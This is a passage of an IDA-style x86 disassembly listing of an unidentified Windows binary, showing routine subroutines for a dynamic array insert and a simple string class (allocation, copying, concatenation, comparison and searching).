nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4096CB
mov ecx, esi
call sub_401974
cmp edi, eax
jnb short loc_409633
mov ecx, esi
call sub_401974
mov ebp, eax
jmp short loc_409635
; ---------------------------------------------------------------------------
loc_409633: ; CODE XREF: sub_409600+26j
mov ebp, edi
loc_409635: ; CODE XREF: sub_409600+31j
mov ecx, esi
call sub_401974
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CAD
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016D6
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401974
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4096CB: ; CODE XREF: sub_409600+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409729
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409729: ; CODE XREF: sub_409600+D8j
test edi, edi
jbe short loc_409763
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016D6
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CCB
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409763: ; CODE XREF: sub_409600+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4097D0 proc near ; CODE XREF: sub_40170Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4097F0
loc_4097E1: ; CODE XREF: sub_4097D0+1Ej
push esi
mov ecx, edi
call sub_402072
add esi, 4
cmp esi, ebx
jnz short loc_4097E1
loc_4097F0: ; CODE XREF: sub_4097D0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4097D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409810 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_409810 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409830 proc near ; CODE XREF: sub_402072j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409830 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409850 proc near ; CODE XREF: sub_4016D6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409882
push edi
mov edi, [esp+10h+arg_8]
loc_409866: ; CODE XREF: sub_409850+27j
push esi
push edi
mov ecx, ebx
call sub_4015AA
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409866
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409882: ; CODE XREF: sub_409850+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098A0 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4098C7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_4098B6: ; CODE XREF: sub_4098A0+23j
push ebx
push esi
mov ecx, ebp
call sub_4015AA
add esi, 4
dec edi
jnz short loc_4098B6
pop esi
pop ebx
loc_4098C7: ; CODE XREF: sub_4098A0+Aj
pop edi
pop ebp
retn 0Ch
sub_4098A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098E0 proc near ; CODE XREF: sub_401CADj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_40203B
add esp, 8
retn 8
sub_4098E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_4015AAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_409910 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409940 proc near ; CODE XREF: sub_401F96j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40995D
mov edx, [esp+arg_8]
push esi
loc_409951: ; CODE XREF: sub_409940+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409951
pop esi
locret_40995D: ; CODE XREF: sub_409940+Aj
retn
sub_409940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409970 proc near ; CODE XREF: sub_401CCBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409992
mov eax, [esp+arg_8]
push esi
loc_409981: ; CODE XREF: sub_409970+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409981
pop esi
retn
; ---------------------------------------------------------------------------
loc_409992: ; CODE XREF: sub_409970+Aj
mov eax, [esp+arg_8]
retn
sub_409970 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099D0 proc near ; CODE XREF: sub_40203Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4099DA
xor eax, eax
loc_4099DA: ; CODE XREF: sub_4099D0+6j
shl eax, 2
push eax
call sub_4367FA
add esp, 4
retn
sub_4099D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A00 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409A1B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409A1B: ; CODE XREF: sub_409A00+11j
retn
sub_409A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A30 proc near ; CODE XREF: sub_401979j
arg_0 = dword ptr 4
mov al, byte_44718A
push esi
test al, al
mov esi, ecx
jz short loc_409A66
push edi
nop
call near ptr 283192Dh
mov edi, dword_50F8C4
push 0FFFFFFF5h
call edi ; dword_50F8C4
push 0FFFFFFF4h
mov [esi], eax
call edi ; dword_50F8C4
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A66: ; CODE XREF: sub_409A30+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409A30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AA0 proc near ; CODE XREF: sub_401CDAj
mov al, byte_44718A
push esi
test al, al
mov esi, ecx
jz short loc_409ABF
nop
call near ptr 2840000h
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409ABF: ; CODE XREF: sub_409AA0+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409AA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401424j
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43E010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409B10: ; CODE XREF: ___:00402063j
; ___:loc_402171j
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409B28: ; CODE XREF: ___:00409B1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B40 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_4014C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FBE
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_4020F4j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4437F4
push ecx
mov dword ptr [esi], offset off_43E010
call sub_5EA1BD
nop
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C30 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43E010
cmp eax, edi
jz short loc_409C4C
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C4C: ; CODE XREF: sub_409C30+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409C5F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C5F: ; CODE XREF: sub_409C30+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409C30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C80 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409CEA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409CAA
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409CAA: ; CODE XREF: sub_409C80+1Fj
lea ebx, [ebp+2]
push ebx
call sub_4367FA
mov edi, eax
add esp, 4
test edi, edi
mov [esi+9], edi
jz short loc_409CEA
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov [esi+11h], ebp
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [esi+11h]
mov ecx, [esp+10h+arg_0]
mov edx, [esi+9]
push eax
push ecx
push edx
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_409CEA: ; CODE XREF: sub_409C80+Cj
; sub_409C80+3Dj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409C80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D20 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_409D20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409D50: ; CODE XREF: ___:00401A46j
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4437F4
push ecx
nop
call sub_5EA1BD
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015D7
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DA0 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_4367FA
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409E2F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409E2F: ; CODE XREF: sub_409DA0+84j
mov [ebx+9], ebp
loc_409E32: ; CODE XREF: sub_409DA0+Cj
; sub_409DA0+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409DA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E70 proc near ; CODE XREF: sub_4016BDj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401A9B
pop esi
retn 4
sub_409E70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EA0 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4437F4
push ecx
nop
call sub_5EA1BD
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401A9B
pop esi
add esp, 10h
retn 4
sub_409EA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EF0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409F07
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F07: ; CODE XREF: sub_409EF0+7j
mov eax, [ecx+9]
push ebx
loc_409F0B: ; CODE XREF: sub_409EF0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
test cl, cl
jz short loc_409F2F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409F0B
loc_409F2F: ; CODE XREF: sub_409EF0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F36: ; CODE XREF: sub_409EF0+23j
; sub_409EF0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409EF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F60 proc near ; CODE XREF: sub_401B72j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409F60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_409FA3
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_409FA3: ; CODE XREF: sub_409F90+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_409F90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4021ADj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A000 proc near ; CODE XREF: sub_401CBCj
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A013
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A013: ; CODE XREF: sub_40A000+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A000 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A072
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015D7
loc_40A072: ; CODE XREF: sub_40A030+13j
add esp, 2000h
retn
sub_40A030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0A0 proc near ; CODE XREF: sub_401D20j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A0A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0C0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_50FAE0
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; dword_50FAE0
add esp, 8
test eax, eax
jnz short loc_40A0E4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; dword_50FAE0
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A0C0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401807
retn 4
sub_40A110 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A130 proc near ; CODE XREF: sub_401807j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402117
pop esi
retn 8
sub_40A130 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A160 proc near ; CODE XREF: sub_4013E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402117
retn 4
sub_40A160 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A195
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A195: ; CODE XREF: sub_40A180+Bj
mov eax, [esi+9]
mov ebx, dword_50FAF8
push edi
push eax
call ebx ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_40A1AF
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1AF: ; CODE XREF: sub_40A180+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; dword_50FAF8
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A180 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A203
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A203: ; CODE XREF: sub_40A1F0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A216
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A216: ; CODE XREF: sub_40A1F0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_4367FA
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
sub_40A1F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A270 proc near ; CODE XREF: sub_4013D9j
mov eax, [ecx+11h]
retn
sub_40A270 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A290 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A290
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A2E2
mov esi, [esp+34h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: sub_40A290+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_401424
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_4367FA
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+3Ch+arg_4]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+40h+var_2C]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+40h+var_24]
call sub_4015D7
push ebx
call sub_4367E2
sub_40A290 endp
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014C9
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013D9
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A3C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A400: ; CODE XREF: ___:0040193Dj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_4020F4
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A430 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
